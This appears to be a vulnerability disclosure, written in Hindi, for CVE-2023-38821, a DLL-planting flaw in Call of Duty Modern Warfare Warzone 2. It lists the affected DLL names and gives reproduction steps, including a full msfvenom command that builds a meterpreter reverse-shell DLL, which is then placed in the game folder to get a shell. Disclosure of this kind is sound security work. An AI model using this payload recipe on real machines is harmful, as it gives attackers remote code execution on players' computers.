CoD-MW-Warzone-2 - CVE-2023-38821

CoD MW Warzone 2 में DLL प्लांटिंग - CVE-2023-38821 खोजकर्ता: Idan Malihi

विवरण

Activision Call of Duty Modern Warfare: Warzone v.2 में एक समस्या एक स्थानीय हमलावर को UMPDC.dll, MSIMG32.dll, RTWorkQ.DLL, WINSTA.dll, CRYPTSP.dll, dnsapi.dll, MSASN1.dll, webio.dll, fwbase.dll, ncrypt.dll, और DPAPI.DLL घटकों में एक क्राफ्टेड फ़ाइल के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है।

पुनरुत्पादन के चरण

DLL प्लांटिंग भेद्यता का शोषण करने के लिए, एक हमलावर को निम्नलिखित चरणों का पालन करना चाहिए:

1. Steam डाउनलोड करें।
2. Call of Duty Modern Warfare 2 Warzone डाउनलोड और इंस्टॉल करें
3. इंस्टॉलेशन पथ फ़ोल्डर खोलें, उदाहरण के लिए, D:\STEAM\steamapps\common\Call of Duty HQ
4. Kali Linux OS पर msfvenom के साथ एक दुर्भावनापूर्ण dll फ़ाइल बनाएँ: msfvenom -p windows/x64/meterpreter/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o RTWorkQ.DLL
5. DLL फ़ाइल को गेम के पथ D:\STEAM\steamapps\common\Call of Duty HQ पर स्थानांतरित करें
6. गेम खेलें और एक रिवर्स शेल प्राप्त करें।